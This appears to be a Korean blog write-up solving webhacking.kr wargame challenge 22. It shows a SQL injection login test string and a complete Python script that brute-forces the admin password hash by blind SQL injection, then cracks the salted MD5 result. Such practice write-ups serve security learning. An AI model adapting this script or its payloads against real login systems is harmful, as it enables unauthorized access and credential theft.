본문 바로가기
2. Information Security/3. War Game

웹해킹 22번 (webhacking.kr old 22)

by H232C 2020. 1. 5.

1. 공격유형 : Blind Sql Injection

2. Write up

Challenge 22 첫화면
guest/guest 로그인 시도 시 Login Fail
Join 기능으로 test 계정 생성
테스트 계정 생성 완료 (DB에 해당 ID/PW를 넣는것같다)
테스트 계정 로그인시 hash값을 보여줌 (MD5)
MD5 복호화시 testapple 이라는 패스워드가 보임 (기존 test로 수행했으나 뒤에 Salt값인 apple이 붙었음
admin 로그인 시도 실패
admin' or '1'='1 구문 테스트
인젝션 수행시 wrong password 문구 확인가능 -> 블라인드 인젝션 수행 가능!
파이썬 코드로 페이로드 수행

import requests
s = requests.Session()

proxyList = {'http':'127.0.0.1:8000',
             'https':'127.0.0.1:8000'}

def login():
    
    url = 'https://webhacking.kr/login.php?login'
    login = {'id':'',
             'pw':''}

    response = s.post(url, data=login, proxies=proxyList, verify=False)
    response.status_code
    print (response.text)

def payload2():
    
    login(); TrustKey = "Wrong password!" ; code=''
    header={'Content-Type': 'application/x-www-form-urlencoded'}
    for i in range(1,50):
        url = "https://webhacking.kr/challenge/bonus-2/"
        response = s.post(url, proxies=proxyList, headers=header,data="uuid=admin'+and+length(pw)={}+or+'1'='0&pw=qweasd".format(str(i)),verify=False)
        response.status_code
        res = response.text
        leng = i
    
        if(res.find(TrustKey)!=-1):
            print ("[-]Find Out Length Of ID : {}".format(str(leng)))
            break
            
    for i in range(1,leng+1):
        for j in range(32,128):
            url = "https://webhacking.kr/challenge/bonus-2/"
            response = s.post(url, proxies=proxyList, headers=header,data="uuid=admin'+and+ascii(substr(pw,{},1))={}+or+'1'='0&pw=qweasd".format(str(i),str(j)),verify=False)
            response.status_code
            res = response.text
             
            if(res.find(TrustKey)!=-1):
                code = code + str(chr(j))
                print ("[-]Find Out Of ID : {}".format(str(code)))
                break
     
    print (code)
            
payload2()

- Injeciton 구문 : uuid=admin'+and+ascii(substr(pw,{},1))={}+or+'1'='0&pw=qweasd".format(str(i),str(j))

공격으로 얻어낸 해시값 복호화 수행 시 wowapple 확인 가능
salt값을 제외한 admin/wow로 로그인 수행 solve

 

댓글